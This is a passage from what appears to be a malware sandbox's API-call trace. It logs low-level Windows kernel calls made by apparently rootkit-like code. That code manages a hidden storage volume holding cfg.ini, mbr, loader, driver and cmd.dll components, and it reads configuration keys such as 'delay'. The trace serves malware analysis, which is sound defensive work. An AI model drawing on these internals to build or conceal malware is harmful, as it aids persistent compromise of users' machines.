Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.721] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.721] IdePortDispatch () returned 0x103 [0126.721] KeWaitForMutexObject () returned 0x0 [0126.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.721] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.721] IdePortDispatch () returned 0x103 [0126.722] KeWaitForMutexObject () returned 0x0 [0126.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.722] KeLeaveCriticalRegion () [0126.722] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.722] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.722] KeEnterCriticalRegion () [0126.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.722] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.722] KeLeaveCriticalRegion () [0126.722] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.722] KeEnterCriticalRegion () [0126.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.722] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.722] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed680, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.722] KeLeaveCriticalRegion () [0126.722] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.722] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.722] KeEnterCriticalRegion () [0126.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.722] ExFreePoolWithTag (P=0xfffffa80037ed5c0, Tag=0x0) [0126.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.722] KeLeaveCriticalRegion () [0126.722] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.722] ReleaseMutex (hMutex=0xf0) returned 1 [0126.722] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.723] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.723] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.723] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.723] KeEnterCriticalRegion () [0126.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.723] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.723] IdePortDispatch () returned 0x103 [0126.723] KeWaitForMutexObject () returned 0x0 [0126.723] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.723] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.723] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.723] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.723] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.723] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.723] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.723] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.723] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.723] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.723] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.723] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.723] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.724] KeLeaveCriticalRegion () [0126.724] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.724] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.724] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.724] KeEnterCriticalRegion () [0126.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.724] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.724] IdePortDispatch () returned 0x103 [0126.724] KeWaitForMutexObject () returned 0x0 [0126.724] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.724] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.724] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.724] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.724] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.724] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.724] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.724] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.724] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.724] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.724] KeLeaveCriticalRegion () [0126.724] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.724] ReleaseMutex (hMutex=0x100) returned 1 [0126.724] Sleep (dwMilliseconds=0x2bf20) [0126.731] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ebc3a50, dwHighDateTime=0x1d24fa4)) [0126.731] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.731] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.731] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.731] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.731] KeEnterCriticalRegion () [0126.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.731] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.731] IdePortDispatch () returned 0x103 [0126.731] KeWaitForMutexObject () returned 0x0 [0126.731] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.731] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.731] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.731] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.731] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.731] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e0c30 [0126.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.731] KeLeaveCriticalRegion () [0126.731] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.731] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.731] KeEnterCriticalRegion () [0126.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.731] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.732] KeLeaveCriticalRegion () [0126.732] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.732] KeEnterCriticalRegion () [0126.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.732] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.732] IdePortDispatch () returned 0x103 [0126.732] KeWaitForMutexObject () returned 0x0 [0126.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.732] KeLeaveCriticalRegion () [0126.732] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.732] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.732] KeEnterCriticalRegion () [0126.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.732] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bc000 [0126.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.732] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.732] IdePortDispatch () returned 0x103 [0126.733] KeWaitForMutexObject () returned 0x0 [0126.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.733] IdePortDispatch () returned 0x103 [0126.733] KeWaitForMutexObject () returned 0x0 [0126.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.733] KeLeaveCriticalRegion () [0126.733] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.734] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.734] KeEnterCriticalRegion () [0126.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.734] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.734] KeLeaveCriticalRegion () [0126.734] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.734] KeEnterCriticalRegion () [0126.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.734] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.734] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.734] KeLeaveCriticalRegion () [0126.734] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.734] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.734] KeEnterCriticalRegion () [0126.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.734] ExFreePoolWithTag (P=0xfffffa80037e0c30, Tag=0x0) [0126.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.734] KeLeaveCriticalRegion () [0126.734] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.734] ReleaseMutex (hMutex=0xf0) returned 1 [0126.734] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.734] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.734] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.734] KeEnterCriticalRegion () [0126.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.734] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.734] IdePortDispatch () returned 0x103 [0126.735] KeWaitForMutexObject () returned 0x0 [0126.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.735] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.735] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.735] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.735] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.735] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed5c0 [0126.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.735] KeLeaveCriticalRegion () [0126.735] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.735] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.735] KeEnterCriticalRegion () [0126.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.735] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.735] KeLeaveCriticalRegion () [0126.735] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.735] KeEnterCriticalRegion () [0126.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.735] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.735] IdePortDispatch () returned 0x103 [0126.735] KeWaitForMutexObject () returned 0x0 [0126.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.736] KeLeaveCriticalRegion () [0126.736] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.736] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.736] KeEnterCriticalRegion () [0126.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bd000 [0126.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.736] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.736] IdePortDispatch () returned 0x103 [0126.736] KeWaitForMutexObject () returned 0x0 [0126.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.736] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.736] IdePortDispatch () returned 0x103 [0126.736] KeWaitForMutexObject () returned 0x0 [0126.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.736] KeLeaveCriticalRegion () [0126.736] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.737] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.737] KeEnterCriticalRegion () [0126.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.737] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.737] KeLeaveCriticalRegion () [0126.737] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.737] KeEnterCriticalRegion () [0126.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.737] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.737] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed680, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.737] KeLeaveCriticalRegion () [0126.737] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.737] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.737] KeEnterCriticalRegion () [0126.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.737] ExFreePoolWithTag (P=0xfffffa80037ed5c0, Tag=0x0) [0126.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.737] KeLeaveCriticalRegion () [0126.737] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.738] ReleaseMutex (hMutex=0xf0) returned 1 [0126.738] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.738] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.738] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.738] KeEnterCriticalRegion () [0126.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.738] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.738] IdePortDispatch () returned 0x103 [0126.738] KeWaitForMutexObject () returned 0x0 [0126.738] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.738] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.738] _strnicmp 